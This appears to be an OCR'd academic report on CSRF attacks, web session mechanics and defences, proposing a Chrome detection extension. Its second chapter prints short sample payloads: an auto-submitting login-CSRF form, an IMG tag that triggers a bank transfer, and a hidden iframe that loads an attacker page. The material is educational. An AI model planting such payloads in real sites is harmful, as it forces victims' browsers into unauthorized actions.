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GENERAL INTRODUCTION

Context of the study:

The Web has been an essential part of business all over the world and the browsers became
the backbones of today's systems and applications. Nowadays, web applications are being
developed in several fields and manage users’ personal, confidential, and financial data,
causing the security of such applications to become increasingly important. Back to the earlier
Web and its first appearance, the websites were contained only a set of static web pages
interconnected via hyperlinks. Then, images were added to web content. A request to a
webpage might cascade other requests to different multiple websites content. Thus, cross-site
or cross-origin requests triggered without user interaction. With the coming of the web
notions JavaScript and forms, a cross-site interaction has become a true security threat to web
applications. Typically, today’s websites implement cookies as session management
mechanism. The mechanism gave a browser an identity login cookie after user is successfully
authenticated. Later, when the user visits the web pages of the target website, the browser will
automatically put the identity login cookies in the request. This may not be removed till the
browser is closed or the user logged out. CSRF vulnerabilities arise as a result of the browsers
send the cookies back to the web server automatically with every request. If web application
relied on cookies as a mechanism to stay tracking the user sessions, they're going to be at risk
for this type of attack. The attackers will exploit this period of authentication to make the
user’s browser perform authenticated cross-origin requests probably without their knowledge

and causes what's known as CSRF.
Motivation:

CSRF is one of the most serious attacks and has been recognized among the major threats
to web applications and among the top ten worst vulnerabilities for web applications.
Nowadays, many countermeasures and a set of techniques are available that does a reasonable
job at defending against common CSRF attacks, however attackers still find vulnerabilities in
websites and exploit them to carry out their attacks against servers and clients. With regard to
CSREF protections, the existing countermeasures cannot defend against 100% of the scenarios
encountered in the real world. Recently, many security assessment and bug bounty
considering CSRF vulnerability have been reported. Also, a new experiment [33] analysis 300
web sites belonging to 3 different rank ranges of the Alexa global top 1500. The results of

these experiments are alarming: out of the 300 web sites considered, 133 of these suffered

1
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from at least one vulnerability enabling CSRF. The experiment also tested 132 additional web
sites (again from the Alexa global top1500) and discovered that 95 of them were vulnerable to
CSRF (i.e. 72%). these findings include serious vulnerabilities among the web sites of
Microsoft, Google, eBay... etc.

The seriousness of a CSRF attack depends on the consequences of the state-changing
action that was initiated by the attacker. For instance, in [25], it was shown that while being
logged in on prominent web sites like nytimes.com (an online newspaper web site), or
INGdirect.com (a famous banking web site) , if a victim user loads an attacker controlled web
page in his/her web browser, the attacker can send forged HTTP requests to these web sites
and steal the victim’s personal email address stored at nytimes, or transfer money from the

victim’s ING bank account to the attacker’s account etc.

Statement of the Problem:

The prevention from CSRF attacks is still a topic of active researches in the industry and
academia. To protect users and servers application from csrf attack and overcome the attack, a
set of techniques that do not require user interaction are available. The existing
countermeasures can be classified into two main categories:

1. Server-side: The web application can use a three common mechanisms known today on
the web to defend itself against cross-site request forgery attacks: validating a secret token,
verifying the Same Origin with Standard Headers, and including additional headers with
XMLHttpRequest. Unfortunately, not any of the proposed mechanisms is fully capable of
carrying out this task.

2. Client-Side: This category let researchers and developers to implement new mitigation
techniques to combat CSRF attacks. The client-side protection techniques are divided into
two categories:

> Browser Extensions / add-ons: It refers to mitigation techniques that are
implemented based upon the browser extensions and used by the users. Example of
such extensions is CsFire.
The majority of these techniques have a small amount of attack vectors, with a high
false positive.
> Proxy level framework: This category represents client-side techniques that
implemented on proxy level. Example: RequestRodeo.
This technique requires a proxy installed on local host or on intranet, which affect the

performance of the browser.
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Objective:

In order to combat CSRF attacks, we proposed a novel technique for protecting users from

basic and advanced CSRF attacks at client-side. Our proposed tool ‘CSRF Detector’ is a web

browser extension implemented for Google Chrome.

Contributions:

In order to achieve the above objectives, our work makes the following contributions:

>

Our proposed tool ‘CSRF Detector’ detect CSRF attacks with a hybrid mechanism
based on the notion of content checking and request analysis.

CSRF detector can detect reflected XSS attack in web site for the purpose of
preventing attackers from using such vulnerability to carried out the CSRF attacks.
CSRF Detector also has the ability to detect cross and sub-domain CSRF attack.

CSREF Detector adopts Google Safe Browsing service to identify unsafe websites and
notify users to protect themselves from harm websites (malware, phishing ...).

CSRF Detector also serves as a tool for web developers to detect CSRF vulnerability.
It allows developers to quickly discover forms that are likely unprotected against
CSREF attacks.

Report outline:

This report divided in four chapters:

The first chapter provides two main sections, in the first one we explored specific

topics related to web browsers, web servers, client/server communication and session

management. In the second section of this chapter we discussed commons web application

vulnerabilities.

The second chapter provides a general overview of many defenses techniques that

have been suggested on both server and client side to combat CSRF attacks.

The third chapter presents our solution approach and the conceptual design of our

Browser extension (CSRF Detector) with its different modules and methods for detecting
basic and advanced CSRF attacks.

The fourth chapter presents the implementation and experimentation steps of our

CSRF Detector to ensure the efficiency of our tool.

Finally, we conclude this project by a general conclusion, and different perspectives.


https://www.powerthesaurus.org/for_the_purpose_of/synonyms

CHAPTER 01

WEB APPLICATIONS AND VULNERABILITIES



Chapter 1: Web Applications and Vulnerabilities

CHAPTER 1
WEB APPLICATIONS AND VULNERABILITIES

1. Introduction

The phenomenal growth of the Web has made it a dominant platform for new software
application. As a result, new web applications are being developed in several fields and
manage users’ personal, confidential, and financial data, causing the security of such
applications to become increasingly important. Vulnerabilities in web applications can
provide an unauthorized gain access to critical and sensitive information of users, increases in
required technical support and costs may includes direct financial losses.
2. Web application

Web applications can be considered as a specific variant of client-server software as it is
software that is typically distributed over a Web server and a Web browser. The Web server
implements the application’s logic. The client-side of the web application implements the user
interface. It consists of HTML, JavaScript and CSS components that are received and

interpreted by the Web browser [1].

2.1. Web browser

A Web browser is an important component of every computer system as it provides the
interface to the Internet world. The browser allows user to view and interact with content
on the web pages. It provides user the interface to perform the wide range of activities,
such as personal financial management, online shopping, social networking and
professional business. All major web browsers consist of various core components that
interact in intricate ways to provide the web browsing experience [8]. Figure 1.1 illustrated
a simplified view of the major browser components. The Networking component handles
fetching HTML documents and implements the file transfer protocols such as FTP. The
HTML document is parsed using the HTML Parser and XML Parser into a Document
Object Model (DOM) tree. This DOM tree used by the Rendering Engine to display
HTML and Extensible Markup Language (XML). The Browser Engine is the component
that provides controls over the events, loads the given URI and manages the session. The
JavaScript engine used to evaluate and execute the JavaScript code present on web pages.
The User Interface component is the “frontend” of the Browser Engine, it displays HTML
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documents based on the layout information received from the Rendering Engine. It provides

features such as toolbars, navigation buttons and menus.

Web Application

User Interface
Storage

Browser Engine

Rendering Engine Plug-ins
&
DOM Tree Extensions

i | JavaScript HTML XML i
i Engine Parser Parser !
Network

Figure 1.1: Major components of a web browser [8].

2.2. Web Server

Web content lives on web servers. Web servers speak the HTTP protocol, so they are
often called HTTP servers. These HTTP servers store the Internet’s data and provide the
data when it is requested by HTTP clients [3].

Web servers enable HTTP access to a ‘Web site” which is simply a collection of
documents and other information organized into a tree structure. In addition to providing
access to static documents, modern Web servers implement a variety of protocols for
passing requests to custom software applications that provide access to dynamic content.
Dynamic content can come from a variety of sources. Search engines and databases can be
queried to retrieve and present data that satisfies the selection criteria specified by a user.
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Measuring instruments can be probed to present their current readings (e.g. temperature,
humidity). News feeds and wire services can provide access to up-to-the-minute headlines,
stock quotes, and sports scores [2].
2.3. Structure

The structure of web applications has evolved over time. While traditionally web
applications consisted of only a presentation layer which resides on the client machine,
nowadays web applications commonly employ a three tier approach shown in figure 1.2.
These three tiers are called: presentation, application and storage. The first tier is the Front
End which is the HTML, JavaScript and CSS content rendered by the web browser. The
Front End web server serves the static content and cached dynamic content. The
application tier is implemented by an application server (ASP.NET, CGI, ColdFusion, Java
EE, Perl, and PHP) [1].

Presentation Layer Application Tier Storage Tier
Web B HTTP . .
e AEE . PHP script ,| | Database
(Firefox , Chrome...)
USER [—»
HTML Web Server Table || Database
(Apache, IIS) Server

Figure 1.2: 3-tier web application structure.

2.4. Communication

Web servers, browsers, and proxies communicate by exchanging HTTP messages. The
server receives and interprets HTTP requests, locates and accesses requested resources,
and generates responses, which it sends back to the originators of the requests [2].

2.4.1  Uniform Resource Locators (URLS)

Uniform Resource Locators (URLs) provide the means to identify and locate a
resource. HTTP URLs (RFC 1738) are a specific type of URLSs and, as they are part of
HTTP requests, they are the key to the communication between browser and server. A
web application exposes one or more resources and all those resources can be identified
and located through HTTP URLs [1].
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2.4.2  The HTTP Protocol

The Hypertext Transfer Protocol (HTTP) is the protocol programs use to
communicate over the World Wide Web. There are many applications of HTTP, but
HTTP is most famous for two-way conversation between web browsers and web servers
[3].

The HTTP protocol is a stateless protocol which means that each request is handled
as an isolated transaction and is independent from any previous request. As a
consequence, web application developers need to implement session management
mechanisms to manage state in web applications [1].

Once a server-authenticated secure channel has been established with the target
website, the next step is to request the server for the path and query string specified in
the URL. Versions 1.0 and 1.1 of HTTP are extremely straightforward: the client sends
its request which consists of headers (one per line, consisting of the name of the header,
followed by a colon and the value of the header) and a (possibly empty) body. The
header and body are separated by an empty line. The very first header of the request is
special: it contains an action (e.g. GET to retrieve a document, POST to submit a form),
followed by a path and query string, and protocol version. The server reply also consists
of a body and headers. The first reply header is also special: it contains the protocol
version, status code, and status message of the response. For instance, a server may
reply with HTTP/1.1 404 Not found, a well-known message on the Web [7].

2.43  HTTP version

HTTP uses a “<major>.<minor>" numbering scheme to indicate versions of the
protocol. The protocol versioning policy is intended to allow the sender to indicate the
format of a message and its capacity for understanding further HTTP communication,
rather than the features obtained via that communication [9].

The version of an HTTP message is indicated by an HTTP-Version field in the first
line of the message.

HTTP-Version = "HTTP" "/" 1*DIGIT "." 1*DIGIT
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244  HTTP Message

HTTP messages consist of requests from client to server and responses from server
to client [9].

Both types of message consist of a start-line, zero or more header fields (also known
as “headers”), an empty line indicating the end of the header fields, and possibly a

message body.

HTTP-message = Request | Response; HTTP/1.1

245 HTTP Requests

A request message from a client to a server includes, within the first line of that
message, the method to be applied to the resource, the identifier of the resource, and the
protocol version in use [9].

e An HTTP request message has the following structure:

METHOD /path-to-resource HT TP/version-number
Header-Name-1: value

Header-Name-2: value

[ optional request body ]

24.6  HTTP Response

After receiving and interpreting a request message, a server responds with an HTTP
response message. The first line of an HTTP response message is the status line. This
line contains the version of HTTP being used, followed by a three-digit status code, and
followed by a brief human-readable explanation of the status code [2].

. An HTTP response message has the following structure:

HTTP/version-number status-code message
Header-Name-1: value

Header-Name-2: value

[ response body ]

2.4.7  HTTP Request methods

There are varieties of request methods specified in the HTTP protocol. The most
basic ones defined in HTTP/1.1 are GET, HEAD, and POST. In addition, there are the
less commonly used PUT, DELETE, TRACE, OPTIONS and CONNECT [2].
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2.4.8 HTTP Cookies
HTTP Cookies or simply cookies are used to exchange state information between
web browser and web server. The exchange of cookies between web browser and web

server happens as part of standard HTTP request and response messages [1].

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=valuel

Figure 1.3: HTTP response message with cookie.

GET /loans.php HTTP/1.1
Host: library.eurecom.fr
Cookie: name=value2
Accept: */*

Figure 1.4: HTTP request message with cookie.

Cookies have several different purposes including personalization, tracking of users
on the web and session management. A cookie may be used to remember the
information of a user that visited a particular website and show relevant content to the
user in the future. For example, a cookie can be used to store search queries. Another
application for cookies is the tracking of users. A website may store a unique identifier
in a cookie. Then, each time the user visits the website, the cookie is stored along with
the URL and date/time of the request in a logfile. By analyzing the logfile, the website’s
owner can obtain detailed information about the user including the sequence of webpage
views. Cookies may contain sensitive information and, for security reasons, web
browsers implement the Same Origin Policy. This prevents web pages from accessing
cookies that belong to other domains than the origin domain to which the cookies
correspond to. Hence, cookies cannot be shared across multiple domains [1].

Finally, cookies can be used by a web application to implement session management

mechanisms which we will show in the next section.
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2.5 Session Management

A web session is a sequence of network HTTP request and response transactions
associated to the same user. Modern and complex web applications require the retaining of
information or status about each user for the duration of multiple requests. Therefore,
sessions provide the ability to establish variables such as access rights and localization
settings which will apply to each and every interaction a user has with the web application
for the duration of the session [11].

Session information is identified and stored on the web server by a session identifier
which is generated as a result of a request to a resource on the web server. The web server
stores the session information such as session identifier, username, account number,
shopping basket content in memory, in flat-files on local disk or in a database [1].

2.6 HTTP authentication

Http authentication enables the web server to request authentication credentials from
the browser in order to restrict access to certain WebPages. There are three methods
frequently used: Basic, digest and NTLM [9].

In the mechanism defined in the HTTP protocol, when accessing a webpage that
requires authentication, the browser will pop up a dialog asking for the username and
password. After entering the information, the credential is encoded and sent to the web
server via the Authorization request header. The browser remembers the credential until
the browser is closed. When later the user visiting the web pages in the same authentication
realm, the browser automatically includes the credential in the request via the

Authorization header.
3. Web Vulnerabilities

Web applications have become a popular way to provide access to services and
information. Millions of people critically depend on web applications in their daily lives.
Over the years, web applications have evolved towards complex software systems that exhibit
critical vulnerabilities [1].

An application that uses JavaScript and cookie-based sessions is exposed to, and must
protect against a broad range of web attack vectors [7]. A website vulnerability is a weakness
or misconfiguration in a website or web application code that allows an attacker to gain some
level of control of the site, and possibly the hosting server. On average, websites experience
22 attacks per day, that’s over 8,000 attacks per year [31].
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A rich set of tools and techniques have been developed to mitigate a subset of
vulnerabilities present in web-based programs such as SQL injection (SQLI) and cross site
scripting (XSS). The OWASP Top 10 is a powerful awareness document for web application
security. It represents a broad consensus about the most critical security risks to web
applications. Table 1.1 shows the ten most critical web application security risks for 2017
reported by OWASP.

OWASP Top 10 - 2017

A1:2017-Injection

A2:2017-Broken Authentication

A3:2017-Sensitive Data Exposure

A4:2017-XML External Entities (XXE)

AS5:2017-Broken Access Control

A6:2017-Security Misconfiguration

A7:2017-Cross-Site Scripting (XSS)

A8:2017-Insecure Deserialization

A9:2017-Using Components with Known Vulnerabilities

A10:2017-Insufficient Logging & Monitoring

Table 1.1: The ten most critical web application security risks 2017 (OWASP) [30].

The OWASP Top 10 2017 introduced a new security issues as well as removed familiar
attacks from the previous reported on top 10 2013 (tablel.2) . Based on the data analyzed
during the 2017 Top 10 and combined with better framework protections, CSRF has now
fallen out of the Top 10 entirely [32]. CSRF is one of the top threats to web applications and
has been continuously ranked in the OWASP Top Ten, it is well present in the OWASP TOP
10 since 2007, being ranked 5th in 2007 and 2010, and 8th in 2013.

The post-authentication CSRF is known at least since 2001 and has received a lot of
attention from the web community. For instance, the OWASP Testing Guide devotes an entire
section to this vulnerability .On the contrary, pre-authentication CSRF is not mentioned in the
OWASP Testing Guide [33], although severe exploits have been reported in the literature,
including:

e The execution of malicious JavaScript code at the victim’s web browser [19].

e The association of the victim’s financial details (or Google Search History) with the

attacker’s PayPal account or Google account, respectively [19].

e The tracking of the videos watched by the victim by the attacker on YouTube [35].
12
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OWASP Top 10 -2013

A1l - Injection

A2 - Broken Authentication and Session Management

A3 - Cross-Site Scripting (XSS)

A4 —Insecure Direct Object References

A5 — Security Misconfiguration

A6 — Sensitive Data Exposure

A7 — Missing Function Level Access Control

A8 - Cross-Site Request Forgery (CSRF)

A9 - Using Known Vulnerable Components

A10 - Unvalidated Redirects and Forwards

Table 1.2 : The ten most critical web application security risks 2013 (OWASP)

With regard to CSRF protections, many countermeasures and a set of techniques are
available that does a reasonable job at defending against common CSRF attacks, but that
cannot defend against 100% of the scenarios encountered in the real world .After a decade
fighting the CSRF attacks. Most developers have at least heard the term, even thought, they
don’t fully understand it [32]. Recently, many security assessment and bug bounty have been
reported. Also, a new experiment analysis considering 300 web sites belonging to 3 different
rank ranges of the Alexa global top 1500. The results of this experiments are alarming and
shows that there are 318 exploitable CSRF vulnerabilities affecting 185 web sites from the
Alexa global top 1500 [33] .

4. Conclusion

We divide this chapter into two main sections, at the first one we explore specific topics
related to web browsers, web servers, the client/server communication and session
management. For the second section of this chapter we discuss commons web application
vulnerabilities. Finally, we show an important web vulnerability that exploit user session
information stored in browsers known as CSRF attack which will be considered and discussed

in our work .
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CHAPTER 2
CSRF ATTACK AND PROTECTION TECHNIQUES

1. introduction

CSRF has been recognized for several years as one of the most important web
vulnerabilities. Many countermeasures have been proposed in both server and client side. In
this chapter we will see a detailed description of CSRF attack and the previous

countermeasure against Cross-Site Request Forgery (CSRF) and its limitations.

2. Description

Cross-Site Request Forgery (CSRF) is an attack technique that exploits implicit
authentication. The attack is executed by causing the victim's web browsers to create hidden
HTTP requests to restricted resources. In the case that a successful request for such a
resource, causes the web application to commit further persistent actions, these actions are
done using the victim's authentication tokens [16].

CSRF attacks target functionality that causes a state change on the server, such as changing
the victim's email address or password or purchasing something. Forcing the victim to retrieve
data doesn't benefit an attacker because the attacker doesn't receive the response, the victim
does. As such, CSRF attacks target state-changing requests [11].

CSRF attacks are also known by a number of other names, including XSRF, "Sea Surf",
Session Riding, Cross-Site Reference Forgery, and Hostile Linking. Microsoft refers to this
type of attack as a One-Click attack in their threat modeling process and many places in their

online documentation [11].

3. Understanding the CSRF attack

A CSRF attack involves three parties, a victim, a trusted website where the victim is
currently authenticated and an attacker [21]. CSRF is an attack that consists in tricking the
victim to send an authenticated HTTP request to a target Web server, e.g., via visiting a
malicious web page that creates such a request in the background. In cases that the user is
currently in an authenticated state with the targeted Web site, the browser will automatically
attach the session cookies to such requests, making the server believe that this request is a
legitimate one and, thus, may cause state-changing actions on the server-side. Figure 2.1

shows an overall diagram that gives an idea of how CSRF attack is performed by an attacker.
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A Forged Request
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Figure 2.1: Overview of CSRF attack.

4. CSRF types

CSRF is one of the powerful vulnerabilities where an attacker performs the unauthorized
activities without the knowledge of the user. The launching of CSRF attack may be carried
out in different steps depending on the type of CSRF attack. CSRF can mainly be classified
depending on the way in which the attacker makes the victim send the forged HTTP request
(stored and reflected CSRF) and also depending on the state of CSRF victims with the trusted
web application (pre-authenticated and post authenticated CSRF).

4.1. Stored and Reflected CSRF

A stored CSRF attack is one where the attacker can use the application itself to provide
the victim the exploit link [23] or other content which directs the victim’s browser back
into the application and causes attacker controlled actions to be executed as the victim.
Any application that uses HTML is vulnerable to CSRF attack where the attacker stores the
malicious code using the IMG, IFRAME tag or XSS [18].
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In Reflected CSRF attack, the attacker performs the attack outside the system
application, by exposing the victim to exploit link [12] or content which is malicious. This
can be done using a blog, an email message, an instant message, a message board posting,
or even an advertisement posted in a public place with an URL that a victim types in.
Reflected CSRF attacks will frequently fail, as users may not be currently logged into the
target system when the exploits are tried. The trail from a reflected CSRF attack may be
under the control of the attacker, however, and could be deleted once the exploit was
completed [18].

4.2. Pre- and Post-authentication CSRF

From 2001 (first reporting of CSRF ) to 2008, it was widely considered that only the
state changing actions that can be caused by authenticated users need to be protected from
CSRF attacks. This is mainly due to the assumption that only authenticated users can
execute actions having high-impacts (e.g. transferring money from one account to another).
However, in 2008, Login CSRF attack was introduced [19]. Unlike previously classic
CSRF attacks, the victims of Login CSRF are note authenticated users. Depending on this,
CSREF attacks can be classified into two categories: CSRF attacks that do not require the
victim to have an authenticated session with the vulnerable website (refer to as pre-
authentication CSRF attacks) and the type of CSRF attacks that require the victim to have
an authenticated session (refer to as post-authentication CSRF attacks).

4.2.1. Post-authentication CSRF (Classic CSRF)

The goal of a CSRF attack is to forge a request from a victim’s browser to the target
application, triggering state-changing effects in the target application. A classic CSRF
attack can only be successful if the forged request happens within a previously
authenticated session between the victim’s browser and the target application.
Unfortunately, the design of current session management mechanisms in the browser
attaches session information to any outgoing request, fostering the prevalence of the
classic CSRF attacks [17]. Figure 2.2 shows different steps in classic CSRF attack. The
user establishes an authenticated session with website ‘A’ as illustrated in steps 1-4.
The attacker triggers a request from origin E to the target application at origin ‘A’ (step
13), to which the browser attaches the cookies from the existing session with origin A.
If origin ‘A’ does not have CSRF protection, this request will be executed as if it was

generated by the user.
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Figure 2.2: Steps in Classic CSRF [17].

4.2.2. Pre-authentication CSRF (Login CSRF)

In a login CSRF attack, the attacker forges a login request to an honest site using the
attacker’s username and password at that site. If the forgery succeeds, the honest server
responds with a Set-Cookie header that instructs the browser to mutate its state by
storing a session cookie, logging the user into the honest site as the attacker. This
session cookie is used to bind subsequent requests to the user’s session and hence to the
attacker’s authentication credentials. Login CSRF attacks can have serious
consequences, depending on other site behavior [18].

The main objective of this type of attack is the attacker and the users are both
authorized users. But the attacker will send his identity to the user by means of some
link. The user will now enter using the attacker’s identity. Then all information related
to the user will get stored in the user browser, but actually in the attacker identity. So,
the attacker will now see this information of the user. Therefore, they input personal
data to the web server such as credit card numbers or search keywords. Moreover, by
using a Gadget, adversaries can execute malicious gadgets registered to the adversaries’

accounts within the victim’s local machine. Both Classic CSRF and Login CSRF are
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subtle exploitations based on the common belief that every web request made by a

browser is initiated under users’ supervision [19].

<form action=https://www.google.com/login method=POST target=invisibleframe>
<input name="username’ value= ‘attacker’>

<input name="password’ value="xyz’>

</form>

<script>document.forms[0].submit()

</script>

Figure 2.3: Sample script for login CSRF.

5. Basic CSRF attacks techniques
CSREF attacks specifically target state-changing requests, not theft of data. And this can be
done in several ways as presented in the following sections.
5.1. Image-based CSRF attacks
Image-based CSRF attack works by including HTML image elements, attributes or
image objects in a page that accesses a site to which the user is known (or is supposed) to
have authenticated [23]. The attacker can use image elements when the action requires an
HTTP GET request. A sample image tag containing a malicious code is shown in the

figure below.

<IMG
src="http://bank.com/transfer.php?account=Alice&amount=100000&for=Bob”
width="0" height="0"

/>

Figure 2.4: Sample image tag containing a malicious code.

The Figure 2.5 shows how an attacker can use image element to perform the CSRF
attack. Firstly, the victim is currently authenticated on the trusted website and visits a web
page controlled by the attacker. When visiting the attacker controlled web page, the web
page tells the victim's web browser to send a request to the trusted web application by
inserting the malicious link of the trusted site into an image tag. The victim browser will
try to fetch automatically the image and will send an unwanted request to the URL of the
image. Because the image is located at the victim browser, the victim's web browser will
include all the information that the web browser has associated with that domain. This

includes the cookies which the web application uses to keep the victim authenticated.
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Therefore, when the trusted web application receives the request from the victim, the
session will be authenticated to the trusted web application and the request will look like a
normal request from the victim's web browser.

Visit the attacker

WE‘Dl site Vietim

—
//_ already
authenticated

<IMG src=...=

Attacker

web application

n

3 <IMG src=....=
Trusted /

Figure 2.5: CSRF attack using IMG element.

5.2. Invisible iframe-based CSRF attack

If the action requires HTTP POST, The attacker can create a form using HTML or
JavaScript. These require the attacker to have some degree of control over the CSRF site,
as they will have to embed their own HTML in the site. They can gain this control either
by being the site owner or by finding some sort of cross-site scripting vulnerability in the

site.

<htmI>

<body onload="document.frames[0].submit()">

<form action="nhttp://target.example.com/action.html" method="POST">
<input name="field1" value="valuel">

<input name="field2" value="value2">

</form>

</body>

</html>

Figure 2.6: Example of Auto-submitting form on the attacker site.
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e The attacker would inject the following code into an invisible iframe:

<iframe width="0" height="0" style="visibility: hidden;"
src="http://attacker.example.com/CSRF.html"/>

6. CSRF protection techniques
To protect users and servers application from csrf attack and overcome the attack, a set of
techniques that do not require user interaction are available. The existing countermeasures can
be classified into two main categories:
e Server-side protection technigues.
e Client-side protection techniques.
6.1. Server-side protection techniques
The web application can use a three common mechanisms known today on the web to
defend itself against cross-site request forgery attacks: validating a secret token, verifying
the Same Origin with Standard Headers, and including additional headers with
XMLHttpRequest. Unfortunately, not any of the proposed mechanisms is fully capable of
carrying out this task.
6.1.1.  Secret validation token

Secret Validation Token is a well known server-side protection scheme against
CSRF attacks. Not like other verification, the token approach does not require user
intervention, so the users will not know that something has been used to protect them.
This scheme sends additional information with each HTTP request to determine
whether the request came from an authorized user. To apply token, web applications
must first create a “pre-session”, and then proceed forward a real session after
successful authentication. Validation token should be hard to guess for an attacker who
does not already have access to the user’s account. If a request is missing a token or the
token does not match the expected value, the web application should reject the request
and prompt the user [24].

One disadvantage of using the Secret Validation Token is that, occasionally, some
users disclose the contents of web pages they view to third parties, for example via
email. If the page contains the user’s Validation Token, anyone who views the contents
of the page can impersonate the user to the web application until the session expires
[25].
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6.1.2.  Verifying Same Origin with Standard Headers

There are two steps to this check:

e Determining the origin of a request is coming from (source origin).

e Determining the target of a request is going to (target origin).

Both of these steps rely on examining an HTTP request header value. Although it is
usually trivial to spoof any header from a browser using JavaScript, it is generally
impossible to do so in the victim's browser during a CSRF attack, except via an XSS
vulnerability in the site being attacked with CSRF. More importantly for this
recommended Same Origin check, a number of HTTP request headers can't be set by
JavaScript because they are on the ‘forbidden’ headers list. Only the browsers
themselves can set values for these headers, making them more trustworthy because not
even an XSS vulnerability can be used to modify them [11].

To identify the source origin, web application server can use one of these two
standard headers that almost all requests include one or both of:

e Origin Header.

o Referer Header.

6.1.2.1. Checking the Origin Header

The Origin HTTP Header standard was introduced as a method of defending
against CSRF and other Cross-Domain attacks. The Origin header will be present in
HTTP requests that originate from an HTTPS URL. If the Origin header is present,
then it should be checked to make sure it matches the target origin [26].

e The general format of the Origin header:

Origin: <origin> [<origin>]*

An <origin> is a combination of scheme, host and port. Unlike HTTP Referer, no
path data or query string will be provided in the origin. The first origin value will be
the initial source of the request, and any remaining values will be origins of any
redirects that changed the target of the request [26].
6.1.2.2. Checking the Referer Header

An HTTP request's referrer [7] indicates the URL of the webpage that contained

the HTML link or form that was responsible for the request's creation. The referrer is
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communicated via an HTTP header field. To protect against CSRF, web application
checks if a request's referrer matches the web applications domain. If this is not the
case, the request is usually rejected [9].

The web server can verify the hostname in the Referer header matches the target
origin. Checking the Referer is a commonly used method of preventing CSRF on
embedded network devices because it does not require any per-user state. This makes
Referer a useful method of CSRF prevention when memory is scarce or server-side
state doesn't exist. This method of CSRF mitigation is also commonly used with
unauthenticated requests, such as requests made prior to establishing a session state
which is required to keep track of a synchronization token [11].

e The general format of Referer Header:

Referer: <url>

6.1.3.  Custom request headers

Custom HTTP headers can be used to prevent CSRF because the browser prevents
sites from sending custom HTTP headers to another site but allows sites to send custom
HTTP headers to themselves using XMLHttpRequest [19].

XMLHttpRequest’s popularity has increased recently with more sites implementing
AJAX interfaces. Sites can defend against CSRF by setting a custom header via
XMLHttpRequest and validating that, the header is present before processing state
modifying requests. Although effective, this defense requires sites to make all-state
modifying requests via XMLHttpRequest, a requirement that prevents many natural site
designs [19].

6.1.4. CSRF Specific Defense

There are numerous ways that web servers can specifically defend against CSRF.
The flowing three mechanisms are the most recommended by OWASP as a second
check and an additional precaution.

6.1.4.1. Synchronizer CSRF Tokens

The most popular CSRF defense is to include a secret token with each request and
to validate that the received token is correctly bound to the user’s session, preventing

CSRF by forcing the attacker to guess the session’s token. There are a number of

variations on this approach, each fraught with pitfalls, and even sites that implement
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the technique correctly often overlook their login requests because login request
lacks a session to which to bind the token [19].

Many implementations of synchronizer tokens include the challenge token in GET
(URL) requests as well as POST requests. This is often implemented as a result of
sensitive server-side operations being invoked as a result of embedded links in the
page or other general design patterns. These patterns are often implemented without
knowledge of CSRF and an understanding of CSRF prevention design strategies.
While this control does help mitigate the risk of CSRF attacks, the unique per-
session token is being exposed for GET requests. CSRF tokens in GET requests are
potentially leaked at several locations: browser history, HTTP log files, network
appliances that make a point to log the first line of an HTTP request, and Referer
headers if the protected site links to an external site [11].
6.1.4.2. Double submit cookie

Storing the CSRF token in session is problematic, an alternative defense is the use
of a double submit cookie. The double-submit cookie method offers a protection
against CSRF that can be implemented without the need for a server-side state.
Thereby, the CSRF token is submitted twice. Once in the cookie and simultaneously
within the actual request. As the cookie is protected by the Same-Origin Policy only
same-domain scripts can access the cookie and thus write or receive the respective
value. Hence, if an identical value is stored within the cookie and the form, the server
side can be sure that the request was conducted by a same-domain resource. As a
result, cross-domain resources are not able to create a valid request and therefore
CSRF attacks are rendered void [42].
6.1.4.3. Encrypted token pattern

The Encrypted Token Pattern leverages an encryption, rather than comparison,
method of Token-validation. After successful authentication, the server generates a
unique Token comprised of the user's ID, a timestamp value, and a nonce, using a
unique key available only on the server. This Token is returned to the client and
embedded in a hidden field. Subsequent AJAX requests include this Token in the
request-header, in a similar manner to the Double-Submit pattern. Non-AJAX form-
based requests will implicitly persist the Token in its hidden field. On receipt of this
request, the server reads and decrypts the Token value with the same key used to

create the Token. Inability to correctly decrypt suggest an intrusion attempt. Once
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decrypted, the Userld and timestamp contained within the token are validated to

ensure validity; the Userld is compared against the currently logged in user, and the

timestamp is compared against the current time [11].

6.2. Client-side protection techniques
6.2.1. The Same Origin Policy (SOP)

The most widespread countermeasure is the Same Origin Policy (SOP),
implemented in most browsers. This policy limits access to DOM properties and
methods to scripts from the same ‘origin’, where the origin is usually defined as the
triple <domain name, protocol, TCP port>. This prevents for example, a malicious
script on the website evil.com from reading out session identifiers stored in a cookie
from homebanking.com. Unfortunately, the protection offered by the SOP is
insufficient. Although the SOP prevents the requesting script from accessing the
cookies or DOM properties of a page from another origin, it does not prevent an
attacker from making requests to other origins. The attacker can still trigger new
requests and use cached credentials, even though the SOP prevents the attacker from
processing responses sent back from the server [29].

6.2.2. client-side proxy and web extension

On top of SOP, a client-side protection technique can be used to protect users from
CSRF attacks by monitoring outgoing requests and incoming responses. This
countermeasure can be implemented as a browser proxy or extension to web browsers.

6.2.2.1. Requestrodeo

Johns and Winter [16] proposed RequestRodeo as a client-side protection proxy
against CSRF. RequestRodeo lies, next to cookie-based HTTP authentication. This
technique offers protection via detecting cross-domain requests and then removal of
cookie values from these requests (stripping of implicit authentication). A request is

authenticated when it satisfies the Same Origin Policy (SOP) and it initiated as a

result of an interaction with the currently viewed browser tab [16].

Limits:

RequestRodeo is limited to only certain HTTP requests and not for HTTPS
requests, so it does not scale well to web 2.0 applications. RequestRodeo fails to
detect all JavaScript dynamic links in the responses, since this dynamic content has

come after passing through the proxy. Also, RequestRodeo does not differentiate
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between malicious and genuine cross-origin requests, so it provides very poor
protection against CSRF [26].
6.2.2.2. CSFire

CsFire is integrated extension into Mozilla browser to mitigate CSRF attacks, it
extends the work of Maes and al [27]. CsFire is the only system that provides formal
validation through bounded model checking to defend against CSRF in the formal
model of the web developed by Akhawe and al [27]. CsFire strips cookies and HTTP
authorization headers from a cross-origin request. The advantage of stripping cookies
and HTTP authorization headers is that there are no side-effects for cross-origin
requests that do not require credentials in the first place.

Additionally, CsFire supports users for creating custom policy rules, which use
user supplied whitelist and blacklist to certain traffic patterns.

Limits:

The Limits of CsFire is that approach relies only on examining the cross-domain
request and protect users against one specific type of CSRF attack which is Reflected
CSRF.
6.2.2.3. NoScript ABE

ABE is an application Boundary Enforcer, restricts an application within its
origin, which effectively strips credentials from cross-origin requests unless specified
otherwise. The default ABE policy only prevents CSRF attacks from the internet to
an intranet page. The user can add specific policies, such as a CsFire-alike stripping
policy, or a site specific blacklist or white list. If configured with, ABE successfully
